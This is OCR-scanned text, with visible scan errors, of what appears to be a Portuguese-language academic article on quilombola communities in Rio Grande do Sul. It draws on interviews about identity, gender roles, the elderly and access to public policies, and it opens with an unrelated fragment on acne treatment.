porém, com tais propriedades, tratar-se-ia somente as consequéncias trazidas por tal dermato-
se, excluindo-se o fator inicial: a catalisacao da testosterona em di-hidrotestosterona mediante
a acao da enzima 5-(-redutase. Entéo, o ébvio seria adicionar a formulagédo alguma substancia
capaz de inibir a enzima catalisadora.

Conquanto, o grande problema aqui seria identificar em qual dos dois tipos de 5-0-re-
dutase o farmaco atuaria para que se tenha um tratamento eficaz e seguro, pois sabe-se que
um deles é responsavel pela maturacao sexual, desenvolvimento 6sseo e muscular, e o outro

esta presente na pele de todo o corpo e pode vir a desencadear a acne vulgar.
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Este artigo tem por objetivo identificar a percepcao dos quilombolas sobre sua identidade, as dificul-
dades de acesso as politicas, as demandas das comunidades quilombolas e o papel que as mulheres
e 0s mais velhos desempenham nessas comunidades. Trata-se de um estudo qualitativo, de natureza
exploratdria, na perspectiva do método dialético-critico. Foram entrevistados 6 integrantes de uma
comunidade quilombola rural no interior do Rio Grande do Sul, uma gestora de politicas publicas para
populacao afro-descendente e uma trabalhadora com atuacdo em quilombo urbano. As entrevistas
foram gravadas e submetidas a andlise de contetido de Bardin (2011). Os resultados apontam que as
mulheres exercem um papel fundamental nas comunidades, desde o cuidado com os filhos, roca e
participacao ativa em reunides da associacao, porém ainda enfrentam o machismo e a desigualdade
de género estd presente na divisao sexual do trabalho. Os mais velhos ocupam um papel de lide-
ranca nas comunidades quilombolas, valorizado pela tradico oral. Em relagao ao acesso as politicas
plblicas, as maiores dificuldades estao no acesso o educacao, saide, moradia, saneamento basico e
assisténcia social. A identidade quilombola estd associada a forca, unido, perseveranca e luta.
Palavras-chave: Comunidades Quilombolas. Género. Politicas Publicas.

ABSTRACT

This article has the objective to identify the quilombolasperception about their identities, their dif-
ficulties of access to policies, the quilombola communities’s demands and the role that women and
elderly play in these communities. It is a qualitative study of exploratory nature with the perspective
of a dialectical-critical method. Six members of a quilombola rural community inside the Rio Grande
do Sul were interviewed as well as a manager of public policies for african-descendant population
and a worker with urban maroon community. The interviews were recorded and submitted to content
analysis of Bardin. The results show that women play a key role in the communities, from the care
of the children, garden and active participation at association meetings, but still face sexism and
gender inequality is present in the sexual division of labor. Older occupy a leading role in quilombola
communities, valued by oral tradition. With regard to access to public policies, the greatest difficulties
are the lack of access to education, health, housing, basic sewage and social welfare. The quilombola
identity is associated with strength, union, perseverance and struggle.

Keywords: Quilombola communities. Gender. Public Policies.




INTRODUCAO

A luta pelos direitos das comunidades quilombolas vem sendo reconhecida na literatura
nacional (ARRUTI, 2008; CALHEIROS; STADTLER, 2010; LEITE, 2008; SANTOS, 2014) como
tematica relevante de pesquisa. No Brasil, esse reconhecimento se da no bojo do Programa
Brasil Quilombola (BRASIL, 2004). O Programa Brasil Quilombola, instituido pelo governo fede-
ral em 12 de marco de 2004, constitui-se em um marco historico na consolidacao de direitos
na perspectiva das politicas de Estado para as comunidades remanescentes de quilombos
no pais. O objetivo principal do programa € consolidar politicas de Estado para as areas qui-
lombolas (BRASIL, 2004; 2013). O programa supracitado traz & cena uma série de discussoes
polémicas no pais relacionado as questdes étnico/raciais no ambito dos direitos humanos aos
descendentes de africanos. No plano politico, uma série de leis, decretos, portarias e diretrizes
(BRASIL, 2015) vem sendo empreendidas no sentido de garantir os direitos de cidadania as to-
das as comunidades renascentes de quilombos no pais. Nas diretrizes do programa Brasil Qui-
lombola, consta a necessidade de “incorporar a dimensao de género nas diversas iniciativas
voltadas para o desenvolvimento sustentavel e ampliacao dos direitos de cidadania existentes
nestas comunidades, promovendo politicas concretas que efetivem a igualdade e equidade de
género” (BRASIL, 2004, p. 24).

No plano institucional, constata-se uma série de pesquisas nas mais diversas areas
(Saude, Educagéo, Servigo Social, Direito, Antropologia) que vém colocando em destaque eg-
tudos que levem em consideracao as condicoes em que vivem 0s sujeitos pertencentes a egtas
comunidades. Para entender a historia dessas comunidades e como tem se dado 0 movi
de estudos no plano politico e institucional sobre comunidades quilombolas, precisamags en-

tender a histéria da construgao social e identitaria dessas comunidades.




O processo de criagdo das comunidades quilombolas no Brasil ocorre no bojo da his-
térica presencga da exploracao de escravos no pais. Por volta de 1570, comega a ser deixado
de lado o uso de indios como escravos, devido a inumeros fatores, desde a baixa imunidade
dos indigenas em relacéo as doencas adquiridas com o contato com os portugueses, como
pelo fato dos povos indigenas terem uma facilidade em fugir devido ao seu conhecimento da
geografia da colénia (FAUSTO, 1996). Assim, uma das principais condicoes que favoreceram
0 uso de escravos vindos da Africa foi a resisténcia que os povos indigenas impuseram aos
colonizadores. Dentro deste periodo, a aquisicao de um escravo passou a ser algo comum e
rotineiro que representava ascensao social, e que estava introjetada na cultura, nao so6 pelos
grandes donos de terras, mas também, por pequenos comerciantes brancos ou quem simples-
mente tivesse dinheiro suficiente para comprar um escravo, assim vindo por desfrutar dos ser-
vicos do mesmo. De acordo com Fausto (1996, p. 44) a escraviddo pode ser considerada uma
“instituicao nacional que penetrou em toda a sociedade”, de modo a condicionar seu nodo de
agir e pensar. Este fato se concretizava no desejo de ser ter um escravo, do esforco empreen-
dido em obté-lo que passava da “classe dominante ao modesto artesao branco das cidades”.

Contudo, a histéria nos demonstra que os negros também se rebelaram contra a escra-
vidao imposta. Muitas foram as formas de resisténcia encontradas pelos escravos ao regime,
sendo as fugas para os quilombos a principal arma de resisténcia. Na perspectiva de Leite
(2008) a palavra “quilombo”, que em sua etimologia bantu quer dizer, acampamento gder-
reiro na floresta, foi difundida no Brasil pelo governo colonial, para desta forma se refeyir as
unidades de apoio criadas pelos rebeldes (negros fugitivos de senzalas) ao sistema escravis-

ta, onde formavam uma nova sociedade que buscava readquirir costumes perdidos deyido a




escravidao, bem com, organizar a luta pelo fim da escravidao e a libertagdo de seu povo. Ja a
palavra composta “comunidades quilombolas” pode ser definida como grupos étnico-raciais
que, segundo critérios de auto atribuicao e trajetoria historica prépria, séo dotados de “relacoes
territoriais especificas, com presuncao de ancestralidade negra relacionada com a resisténcia
a opresséo historica sofrida” (BRASIL, 2013, p. 14).

No Estado do Rio Grande do Sul — RS, no decorrer das décadas, assim como em co-
munidades situadas em outros Estados brasileiros, as areas que eram ocupadas por escravos
(os quilombos), foram passadas, de geragéo a geracao, se constituindo em comunidades or-
ganizadas. Estas comunidades remanescentes de quilombos no Rio Grande do Sul passaram
a se articular junto a diversos atores sociais, politicas publicas que viessem ao encontro das
principais necessidades destas comunidades. Neste cenario social de lutas, 0 movimento ne-
gro e demais instituicoes publicas passam a legitimar e dar o seu reconhecimento como area
quilombola aos remanescentes de escravos. A partir desta demanda acolhida pela agenda
publica do Estado Brasileiro, os 6érgaos administrativos e juridicos passaram neste comego de
século a reconhecer e posteriormente, conceder legalmente a certificagdo de terra a comuni-
dades quilombolas. Segundo Silva (2010 p.51) “a sociedade rio-grandense se insere no de-
bate de forma mais intensa sobre o reconhecimento formal do movimento quilombola gaucho
e suas reivindicagdes por politicas publicas especificas (fundiarias, educacionais, creditici
sociais)”, fator este preponderante para a certificagcao e garantia dos direitos dos descen
tes de escravos que ainda vivem nas comunidades quilombolas.

Estes debates realizados acerca dos direitos das comunidades quilombolas no

do Rio Grande do Sul, segundo Silva (2010), proporcionam n&o so a reflexao social, mag tam-




2 PROCEDIMENTOS
METODOLOGICOS

bém um desenvolvimento que atinge uma faixa da populacao que historicamente teve seus
direitos depositados ao esquecimento. Este movimento protagonizado pelo Movimento Negro
do Rio Grande do Sul e demais agentes publicos acabam, por inserir as “comunidades quilom-
bolas como protagonistas de um intenso movimento social que coloca 0 componente étnico no
centro das disputas territoriais do cenario gaucho” (SILVA 2010, p.52).

O objetivo do presente artigo € compreender o significado de ser quilombola, identificar
os fatores obstaculizadores e facilitadores no acesso de mulheres quilombolas aos direitos de
cidadania e compreender as experiéncias sociais das mulheres quilombolas no ambito das
politicas publicas a partir das narrativas de gestores de politicas publicas para povos negros,
profissionais que atuaram com comunidades quilombolas e membros de uma comunidade

quilombola rural em Pelotas, RS.

Este estudo ¢ uma pesquisa de natureza qualitativa e exploratéria (GIL, 2008) que tem
por objetivo compreender e explicar a dinamica das relacdes sociais € humanas na sua interfa-
ce com crengas, valores e atitudes (MINAYO, 2013). A pesquisa qualitativa trabalha com o uni-

verso de significados, aspiracoes, crencas e valores no que tange aos espacos mais profundos

das relagdes, dos fendbmenos e processos, nao podendo estes processos serem perceptiveis
em numeros, equacoes, médias e estatisticas (MINAYO, 2013; VICENSI; GROSSI, 2012).

A amostra do presente estudo foi constituida por mulheres e homens de uma comupida-
de quilombola rural do municipio de Pelotas, RS, uma gestora de politicas publicas para popu-

lacdes negras e uma trabalhadora que atuou com comunidades quilombolas. Neste sentido, a




técnica utilizada para selecao dos sujeitos desta pesquisa foi a amostragem nao probabilistica
intencional (MARCONI; LAKATOS, 2015). Assim, a amostra intencional pesquisada compreen-
deu oito sujeitos (04 mulheres e 04 homens), sendo duas mulheres e quatro homens perten-
centes a uma comunidade quilombola rural do Estado do Rio Grande do Sul e duas mulheres
profissionais que atuaram ou atuam diretamente no atendimento as comunidades quilombolas,
sendo que uma delas, ocupa atualmente um cargo de gestéao.

A técnica utilizada para a coleta de dados foi a entrevista semi-estruturada, com uso
de roteiro elaborado. Entende-se que o uso dessa técnica permite um dialogo de maior inten-
sidade com o entrevistado. Além disso, essa técnica possibilita que se complementem infor-
macdes originadas de documentos e /ou que se evidencie o que ainda nao foi efetivamente
documentado. Também foi realizado o mapeamento das comunidades quilombolas no RS a
partir de técnicas de geoprocessamento.

O projeto de pesquisa foi aprovado pelo Comité de Etica em Pesquisa da Pontificia
Universidade Catolica do Rio Grande do Sul (CEP-PUCRS). Todos os participantes recebe-
ram o Termo de Consentimento Livre e Esclarecido (TCLE), explicando sobre os objetivos da
pesquisa. Apos leitura e aceite em participar do estudo, os participantes assinaram o termo

em duas vias, ficando uma com o participante e outra sob responsabilidade do pesquisador

responsavel pela entrevista.
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RESULTADOS 3.1 MAPEAMENTO DAS COMUNIDADES QUILOMBOLAS DO RS

Atraves do mapeamento realizado pelo Laboratério de Tratamento de Imagens e Ge-

oprocessamento da PUCRS, identificou-se que dos 497 municipios no Estado, somente 67

(12%) municipios concentram areas quilombolas, sendo que 09 (64%) comunidades estao si-
tuadas na regiao metropolitana (05 municipios) e 05 (36%) comunidades quilombolas em Porto
Alegre. Em relagao as diferencas de concentracao entre comunidades quilombolas em zonas
rurais e urbanas, verificou-se que 85% (N=57) das comunidades quilombolas estéo situadas
em zonas rurais e apenas 15% (N=10) estao situadas na regido urbana do RS. Encontrou-se um
total de 123 comunidades quilombolas no RS. No que se refere as comunidades certificadas,
106 (86%) comunidades quilombolas ja possuem certificacdo de terras, sendo que apenas

14% (N=17) ainda ndo possuem certificacao.

3.2 CARACTERIZACAO DOS PARTICIPANTES

Dentre as participantes do estudo, quatro eram mulheres. Suas idades variavam entre

27 e 66 anos. Com relagao ao estado civil, dois deles se declaram casados, quatro em uniao
estavel, uma solteira e uma viuva. No que tange as ocupacgdes, quatro entrevistados decla-
raram atuar como agricultores, um como graniteiro, um forneiro em industria de tijolos, um

secretaria da prefeitura e uma assistente social (quadro 1).




Entrevista Sexo Idade Estado Civil Profisséo
E1 F 53 Viava Assistente Social
E2 F 27 Solteira Assistente Social
E3 F 31 Unigo Estavel Agricultora
E4 F 66 Casada Agricultora
E5 M 31 Uni&o Estavel Graniteiro
E6 M 41 Unido Estavel Agricultor
E7 M 69 Casado Agricultor
E8 M 33 Unido Estavel Forneiro em industria de tijolos

Quadro 1: Caracterizagao dos participantes do estudo
Fonte: Préprios Autores, 2016

A fim de conhecer quais as concepcgdes e conhecimento de profissionais com rela-
¢ao as comunidades quilombolas, foram realizadas em um primeiro momento entrevistas com
duas profissionais com experiéncia no trabalho de assisténcia as comunidades quilombolas.
A primeira entrevistada (E1) se autodeclarou negra, 53 anos de idade, vilva, assistente social.
Atualmente exerce o cargo de Secretaria Adjunta do Povo Negro, junto a prefeitura de Porto
Alegre. A segunda entrevistada (E2) é assistente social, solteira, 27 anos e executou suas ativi-
dades de estagio junto a comunidade da Familia Silva, localizada no municipio de Porto Alegreé.

Os demais participantes (E3; E4; E5; E6; E7 e E8) sdo pertencentes a comunidade gui-
lombola Alto do Caixao, localizada no sétimo distrito do municipio de Pelotas, RS, com uma po-
pulacao de 26 familias, que vivem em lotes de 1 a 3 hectares e com processo de regularizacao

de terra formalizado (COMISSAO PRO-INDIO DE SAQ PAULO, 2010; RECH; ROBERTT, 2014).




De acordo com Filho (2010), a comunidade possui mais de 100 anos, sendo que a maioria dos
moradores se identificam como remanescentes de escravos de sobrenome Nogueira, Freitas e
Madruga. Esse dado é corroborado na fala de um dos participantes do estudo que, ao relatar a
historia da comunidade Alto do Caixao, declara ter sido o seu avd, o fundador da comunidade,

0 que demonstra a memoria histérica da comunidade Alto do Caixao:

Os fundadores, na verdade, foram os meus avos (...). Ah, foi no tempo do meu
avé. A comunidade comegou mesmo em 2003 e foi reconhecida em 2007,
2008. Mas ela existe ha mais de 130 anos. Meu avd faleceu com 96 anos, e ele
que veio para ca, era quase tudo mato. Os pais dele vieram fugidos. Ele conta-
va que nasceu em uma senzala, ele ndo contava muito do tempo dele porque
ele ndo achava que era uma boa falar para os filhos dele o que ele passou,
mas o pouco que ele falava é que ele passou muito trabalho, e quando veio
morar para ca com os filhos e a esposa era tudo mato, al foram fazendo as
lavouras, foram abrindo, e os filhos também foram casando e morando na
volta, praticamente deve ter uns 800 metros até a saida do Alto do Caix&o, 0s
moradores daqui eram todos os meus tios que moravam. (E6)

Segundo dados do Centro de Apoio ao Pequeno Agricultor (2010, p. 20), a comunidade

Alto do Caixao mantém nos lotes de um a dois hectares, plantacdes de abobora, feijao, milho,
hortalicas, batata doce e frutas, bem como criam porcos, galinhas, patos, marrecos e perus.
Embora com atividades individuais, ha organizacéo da associagcao comunitaria para atividade
em comum para a comunidade. Algumas pessoas trabalham fora e outras acessam o progya-
ma Bolsa Familia. Segundo o atual presidente da Federacao das Comunidades Quilombplas
do RS, ja existem em torno de 100 familias na Comunidade Quilombola Alto do Caix&o confor-
me narrativa a seguir, sendo que uma das principais demandas em termos de politicas jpubli-

cas, & a moradia, que ainda ¢ insuficiente para o numero crescente de familias.



umario

Séo 43 casas e atualmente estamos com 100 familias. Na primeira etapa do“-
Minha casa. Minha vida” nao tinha tanta, depois surgiu a outra etapa que tem
gente ja inscrito e esta meio trancado, que ai foi aumentando os socios por de-
manda de casa, que queriam casas. Entéo, sao 100 sécios que vieram depois
dessas casas serem feitas, ndo no inicio. A gente tem mais 43 casas inscritas
para a proxima etapa. Temos 100 familias, mas que vieram depois desta habi-
tagéo estar pronta. (E8)

A Comunidade Alto do Caixao ficou conhecida por esse nome devido a um incidente
ocorrido no passado, durante um cortejo funebre. Um dos entrevistados da comunidade relata

a histéria que foi passada de geracao a geracao.

Os fundadores, na verdade, foram os meus avoés. Alto do Caixao, a historia que
eu ouvi e que € até hoje, € porque tem uma subida grande e ai naquela época
atras, uns 120 anos atras, como néo tinha meio de transporte e era tudo feito
a carroga, tinha o cortejo, faleceu um da comunidade e ai eles tém o cemitério
logo ali embaixo, ai eles vinham trazendo o corpo dentro do caixao na carroga,
e ai como a subida é muito a pique, escorregou o caixdo e caiu, e ai € onde
ficou a famosa subida do Alto do Caix&o. (E6)

3.1.1 ANALISE DAS ENTREVISTAS

3.1.1.7 0 QUE E SER QUILOMBOLA

Ao analisarmos as concepcdes dos entrevistados (as) com relacdo ao que é ser
lombola, percebemos que o entendimento sobre a identidade quilombola recai, sobretudp na
questao histérica da escravidao do negro no Brasil. Os entrevistados (as) entendem que ser

quilombola esta relacionado ao parentesco com pessoas da familia ja escravizadas, ocupacao




de espagos devido ao refugio, pertencimento a uma identidade nao corroborada pela socie-
dade em geral, dentre outros. Para uma das entrevistadas, ser quilombola esta relacionado ao

fato historico de ter familiares escravizados:

Séo os remanescentes de quilombo, pessoas que em algum momento tiveram
seus familiares escravizados e de alguma forma sairam de seus espacos e se
agregaram em outros espagos e vieram com suas familias para morar nesses
espacos. Nos aqui em Porto Alegre, temos familias que sairam de um espago
onde seus antepassados eram escravizados e entdo foram morar nesse lugar e
temos também familias com idades que vieram de outras cidades e também
estavam nessa condicdo e se organizaram num espaco, num bairro. Entéo,
para mim, S8o0 os remanescentes mesmo, as pessoas que tiveram origem la no
periodo da escravidgo. (E1)

Essa visao do sentimento de identidade quilombola como resquicio da escravidao no

Brasil € corroborada por outras entrevistadas:

E uma questdo histérica né. Entdo € ser pertencente de uma populagéo que
sofreu atrocidades histdricas, entdo tem toda a questao de uma sociedade que
foi criada num molde e tu ndo pertencer a esse molde. (E2)

Deve ser uma origem antiga, né. De pessoas negras, eu acho que é isso. (E5)
Ser quilombola é ser filho de gente negra que foi escravo ha muitos anos atras
dos brancos. Fazia 0o que os brancos mandavam e eram obrigados a fazer,
Querer ou ndo querer, tinham que obedecer. Isso é ser quilombola. (E4)

Enquanto algumas narrativas associam quilombos com escravidao, subserviéncia/ ha
também narrativas que associam o termo a resisténcia, forca, uniao, luta, perseveranca g ho-

nestidade, positivando o seu uso, demonstrando a importancia da ressignificacao e da|visao

dialética a respeito do fendmeno identitario.




Para mim, ser quilombola é ter a forga dos antepassados, eu néo trago a so-
fréncia dos antepassados que sofreram na chibata, eu trago a forca deles, para
mim o fato de ser quilombola é s6 pegar a forga deles e tentar transformar para
mostrar o futuro, ndo s6 pensar no passado. Eu pego o termo Quilombola e a
forca dos antepassados e transformo no futuro, essa € minha viséo do termo
Quilombola. (E8)

E continuar a minha origem, desde o que sou (...). Ser quilombola para mim é
continuar os ensinamentos dos meus avos e pais, ser honesto, ndo fazer o que
néo deve, e continuar na origem. (E6)

Ser quilombola é estar junto, lutar, perseverar né (E3)

Ainda que das narrativas que compreendem a identidade quilombola desde uma pers-
pectiva da forga, da luta, do engajamento para o futuro, observa-se que estas falas remetem a
ancestralidade de seus familiares escravizados, portanto, reiterando a identidade quilombola
ligada a escravidao, ao negro, a historicidade das comunidades. Assim, “ter a forca dos an-
tepassados”, “nao trazer a sofréncia dos antepassados que sofreram na chibata”, “continuar
a minha origem”, “lutar” e “perseverar” constituem-se em falas que reiteram a posicao dos

demais participantes a respeito da identidade quilombola, qual seja, ter sua origem histoérica

na escravidao de negros. A ressemantizagcao do termo “quilombo” pelos proprios movimentos
sociais e como resultado de um longo processo de luta veio traduzir os principios de liberdad
e cidadania negados aos afrodescendentes, correspondendo, a cada um deles, os respectiyos

dispositivos legais.



1 - Quilombo como direito a terra, como suporte de residéncia e sustentabilida-
de ha muito almejadas nas diversas unidades de agregacéao das familias e dos
nucleos populacionais compostos majoritariamente, mas nao exclusivamente
de afrodescendentes. 2 - Quilombo como um conjunto de acdes em politicas
publicas e ampliagédo de cidadania, entendidas em suas varias dimensdes. 3 -
Quilombo como um conjunto de agdes de protecdo as manifestagdes culturais
especificas. (LEITE, 2008, p.969-970).

Nesse interim, concordamos com Furtado, Pedrosa e Alves (2014) quando entendem
que a cultura quilombola constitui-se em espaco de trocas e compartilhamento de “conteudos
simbolico-afetivos” o que incidem diretamente na preservacao de elementos culturais carrega-
dos de um passado histérico e social (p.14). Os “contetdos simbolico-afetivos” trazidos pelos

participantes neste estudo, quanto ao sentimento de pertenga a comunidade, demonstram que

€ no convivio com seus pares, no compartilhamento de ideias afins (experiéncia cooperativa,
luta pelo direito a terra, etc.) que se forjam as identidades e memorias coletivas (PRADO; CAM-
PICI; PIMENTA, 2004; SANTOS, 1998; SILVA et al., 2012). Portanto, as identidades e memorias
coletivas compartilhadas pelos participantes se referem a instancias que preservam elementos
da cultura de um passado histérico e social que proporciona ao sujeito reconhecer-se como
quilombola (FURTADO; PEDROSA; ALVES, 2014).
No item a seguir, iremos abordar as relacoes de género e geracao na comunidade, a

dificuldades de acesso as politicas publicas, os avangos ja obtidos pela comunidade quilom-

bola, foco do estudo em tela e os desafios para a gestao das politicas publicas.




3.1.1.2 RﬁLACOES DE GE[VEI?O E GERACAO NAS COMUNIDADES QUILOMBOLAS E O
ACESSO AS POLITICAS PUBLICAS

Para compreensao da experiéncia social das mulheres quilombolas, utilizamos o con-
ceito de interseccionalidade de Kimberly Creenshaw, no sentido de que as opressdes viven-
ciadas pelas mulheres quilombolas nao se somam, mas se entrecruzam. Segundo Crenshaw
(apud PISCITELLI, 2008, p.267), as interseccionalidades sédo formas de capturar as conse-
guéncias da interagao entre duas ou mais formas de subordinacao: sexismo, racismo e patriar-
calismo. Essa nogao de ‘interacao’ entre formas de subordinacao possibilitaria superar a nogao
de superposicao de opressoes. Por exemplo, a idéia de que uma mulher quilombola € dupla-
mente oprimida, a opressao por ser mulher deve ser adicionada a opressao por ser negra. A
interseccionalidade trataria da “forma como acdes e politicas especificas geram opressoes
que fluem ao longo de tais eixos”.

Nesse sentido, pretendemos explorar nao somente o eixo de género, raga/etnia, mas
também o geracional, para identificar as experiéncias sociais das mulheres quilombolas de di-
ferentes geracoes. Nesse processo de construgao das identidades das mulheres quilombolas,
existiriam confluéncias que constituiriam aspectos ativos do desempoderamento, mas tambem

possibilidades de resisténcia. A imagem que a autora oferece € a de caminhos diversos, em

cada um das quais circula um desses eixos de opressao. Em certos lugares, esses caminh
se cruzam, e a mulher que se encontra no entrecruzamento tem que enfrentar simultaneam
os fluxos que confluem, oprimindo-a.

Em relacdo aos eixos de opressao, identificamos na narrativa, o machismo, a djvisao

sexual do trabalho, com a sobrecarga da mulher, a falta de representatividade politica nas as-




sociagoes, entre outros aspectos. Em relagao as relacdes intergeracionais, as pessoas idosas
da comunidade sao mais respeitadas e ouvidas. Nas narrativas a seguir, evidencia-se o poder
de mando masculino na comunidade quilombola e também as relacoes de respeito e cuidado

com as pessoas mais velhas:

Ela escuta e obedece, o homem € o nosso presidente. (...) SO escuta, e o que
ele mandar nds fazer, a gente obedece. So se for algo muito né, que a gente
nota que ndo é direito aquilo ali, entdo a gente ndo diz nada, mas também
néo faz. (...) (E4)

O mais velho tem, tem mais resisténcia, tem mais poder na comunidade e aqui
em casa, aqui 0os mais velhos falam, o meu velho fala e os netos e filhos s6 ou-
vem, ndo retrucam, ndo dizem nada. (...) Como nos mais velhos respeitemos
0Ss mais novos, 0s mais novos respeitam nds também. Todos se tratam como
uma familia que se da bem, e que se respeita. E assim & la na comunidade.
(E4)

Com relagdo a questdo dos mais velhos, eu vejo assim que é muito forte a
cultura de que o mais velho é respeitado, de que eles se aconselham com os
mais velhos, que eles cuidam dos mais velhos (...). Eu, como assistente social,
eu trabalhei em dois quilombos que foi o Fidélix e o Areal (...), assim, 0s idosos
desses espagos muito bem cuidados, eles ndo sdo deixados, eles ndo vao
para casa Lar, eles sdo cuidados e muito bem cuidados por toda a familia.
Eles tém o reconhecimento pelos seus ancestrais e por serem mais velhos e
eu vejo isso como muito positivo (...) toda a populagdo deveria se espelhar
nessa cultura né, de cuidar do meu idoso, de manter ele vivo, de dar valor
importancia para aquilo que ele nos traz. (E1)

Com relagcao ao papel da pessoa mais velha na comunidade, observa-se a parti
falas dos participantes que a pessoa idosa € vista como forte, resistente, aconselhadora dos

mais novos. Essa visao da pessoa mais velha aludida pelos moradores da comunidade e/pelos



profissionais evidencia o papel que a memoaria individual da pessoa idosa tem na construcao
da memoria coletiva (SANTOS, 2011). Embora a representatividade da pessoa idosa seja uma
constante na fala dos participantes, observa-se em estudos com comunidades quilombolas de
outras regides do pais a auséncia de liderangas sensiveis as especificidades dos idosos(as),
0 que pode prejudicar o acesso dessa categoria ao acesso de conquistas de cidadania (LIMA;
CARLONI; PEREZ; FARIA, s.d), bem como ao acesso as politicas publicas especificas, qual
seja, o Estatuto do Idoso (Lei n° 10.741/2003). Estudo realizado por Santos et al. (2014) cons-
tatou agravos de saude, presenca de doencas cronicas, dificuldade de acesso a servicos pu-
blicos de saude (p. 2680). Embora em condigbes precarias de saude e sobrevivéncia, o idoso
entrevistado pelas autoras supracitadas considera-se “satisfeito com relacionamento com os
vizinhos, amigos e esposa, além de se sentir feliz em seu cotidiano”, o que pode ser caracteris-
tico da resisténcia inerente ao povo quilombola (SANTOS et al., 2014, p. 2609).

Portanto, embora a relagao da comunidade com as pessoas idosas quilombolas te-
nha sido considerada satisfatoria de ambos os lados, nao se pode fazer uma analise superfi-
cial desta situacao. Questdes relacionadas ao conhecimento de direitos, por exemplo a Lei n°
10.741/2003 (Estatuto do Idoso), condigdes de acesso a saude, moradia, medicacdo, dentre

outros, devem ser mais explorados na perspectiva de estudos que levem em consideragao as

situagbes objetivas a que estao submetidos os(as) idosos(as) quilombolas.

Apesar de todas mulheres e a familia inteira trabalharem na lavoura e “pegar junto”,
lado a lado com os homens, o cuidado com os filhos e as atividades domeésticas, em geralj sao
atribuidas as mulheres. O homem auxilia somente em situactes especificas, quando as

res vao realizar colheita do péssego, ou quando esta adoece. Isso fica evidente na narrativa do




participante da pesquisa a seguir: “quando a esposa ndo pode fazer a lida da casa, eu pego
e faco. Agora ela estava um pouco mal, entdo eu tomei conta de tudo. Fazia até comida para
ela, até o horario dela chegar, lavava a roupa na maquina e tudo” (E7).

Apesar da presidéncia da Federagdo das Comunidades Quilombolas do RS no momen-
to ter sido assumida por uma figura masculina, os integrantes da diretoria e demais funcoes na
entidade sao exercidas por mulheres, o que demonstra as relagées de género na comunidade,
na qual as mulheres ainda possuem dificuldades de assumir posicoes de comando e chefia. A
fala das duas profissionais entrevistadas evidencia o importante papel das mulheres em papéis
de lideranga e comando dentro das comunidades:

O quilombo Areal da Baronesa, este comecou com a dona Maria que é uma
mulher né, que é uma senhora que ja tem mais de sessenta anos e foi ela
que comecgou toda essa busca la em 2003/2005 para questado da titulacdo
do quilombo, é uma mulher. No quilombo dos Alpes nés temos a Rochele que
também é uma mulher. E no quilombo da familia Silva nds temos a Helena que

também é uma mulher né. No quilombo do Fidélix nds temos um homem, mas a
vice-presidente é uma mulher, entao. (E1)’

Ent&o € bem forte o papel da mulher na comunidade (...). Nas familias a lideran-
¢ca sempre era a mulher, entdo a questao de ter trabalho com carteira assinada,
questao de gerenciamento do lar né, entdo é sempre da mulher, nessa comu-
nidade a mulher tem papel muito forte. (E2)

As falas acima descritas demonstram que as mulheres vém conquistando espacos/im-

portantes nos sindicatos ao perceberem que sao sujeitos da historia das comunidades € que

' Os nomes das mulheres citadas pela entrevistada foram modificados a fim de se preservar o anonimato de todos os particippntes do
estudo, mesmo aqueles que nao participaram diretamente do mesmo.



precisam participar das decisdes (SILVA; FIABANI, 2010). As mulheres nas comunidades qui-
lombolas situados no municipio de Porto Alegre também vém assumindo protagonismo dentro
das comunidades.

O papel ativo das mulheres em comunidades quilombolas foi identificado em outros
estudos anteriores (RISCADO; OLIVEIRA; BRITO, 2010; SILVA; DOWLING, 2010; FREITAS ET
AL, 2011; PEREIRA; RIBEIRO, 2013; SILVA; FABIANI, s/d). Na comunidade quilombola Areal
da Baronesa, em Porto Alegre, as autoras Pereira e Ribeiro (2013) referem que s&o as mulhe-
res que estao mais visiveis e atuantes no presente, assim como algumas delas parecem ter
assumido a tarefa de perpetuar a memoria da rua, estando presentes em cursos e atividades
desenvolvidos pela associacdo comunitaria, cuidando das criangas na rua, participando de
reunides com gestores publicos, a fim de solicitar melhorias para o local, entre outras praticas
de exercicio da cidadania, que sao passadas de geragao para geragao.

Enquanto associagao, eu tenho a diretoria, sou presidente da associagdo da-
qui e a minha diretoria sdo mulheres, sou eu de homem, presidente, e o resto,
secretario, tesoureiro, vice tesoureiro e o resto, sao todas mulheres. Entéo, elas
estdo tomando as rédeas da situacéo, estou eu, de homem de presidente |4,
mas minha presidéncia toda é de mulher, elas ndo ficam sé esperando o ho-
mem fazer, elas vao 14 e mostram a cara para o que vier. Aqui ha nossa regiao,
as mulheres estao empatadas com os homens em tudo, em todos os termos,
Nao quer dizer que o homem vai sair para trabalhar e a mulher vai ficar dent
de casa, com a comida e a roupa lavada, néo. As vezes, € 0 homem quem fica
e a mulher quem sai para trabalhar, isso acontece em uns quantos lugargs, a

mulher esta bem visada aqui, pelo menos no meu ponto de vista, nao tem/tanto
a mulher ficar em casa, o homem sair sozinho e a mulher nem sair (...) (EB)




Estudo realizado por Silva e Fiabani (2010) constatou que mulheres quilombolas em
Tocantins vém participando de entidades religiosas, politicas e culturais, bem como assumem
a presidéncia de associacdes nas comunidades negras.

Em relacao as demandas das mulheres na comunidade quilombola Alto do Caixao,
além de escolas pra os filhos com séries mais avangadas, existe a necessidade de emprego
com carteira assinada e qualificacao profissional para 0 mercado de trabalho. Uma das dificul-
dades encontradas € a baixa escolaridade das mulheres e o0 acesso a educagcao. Novamente,
as relacdes de género ficam evidenciadas na narrativa da mulher a seguir, revelando resqui-
cios de uma cultura patriarcal e machista ainda vigente, contradizendo a fala anterior de que
as mulheres se encontram em pé de igualdade com os homens.

A questao da escolaridade que é muito precaria né, as mulheres casadas né
(risos) que os maridos sdo muito ciumentos e ndo querem que as mulheres

estudam. Aqui so6 tem de noite, e ninguém aceita aqui que a mulher va estudar
de noite, teria que ser de manha ou de tarde né.(E3)

A categoria género é fundamental para entender as situagdes de opressao (internas e

externas) vivenciadas pelas mulheres quilombolas desse estudo. Para Minayo (2007),

Género diz respeito a relagdes de poder e a distingdo entre caracteristicas cul-,
turais atribuidas a cada um dos sexos e as suas peculiaridades biolégicag.
As caracteristicas de género se fundam na hierarquia e na desigualdade/de
| de
opressao e de crueldade estruturalmente construido nas relagdes entre hofnens
e mulheres, reproduzidos na cotidianidade e subjetivamente assumidos|, atra-
vessando classes sociais, racas, etnias e faixa etarias (MINAYO, 2007,

lugares sexuados. A violéncia de género distingue um tipo de dominaca




Para além da questéo do género, outro fator que pode ser considerado obstaculizador
do acesso das mulheres quilombolas aos direitos de cidadania, dentro e fora das comunida-
des, séo as interseccionalidades de raca e género. As discriminacoes de raga e género pro-
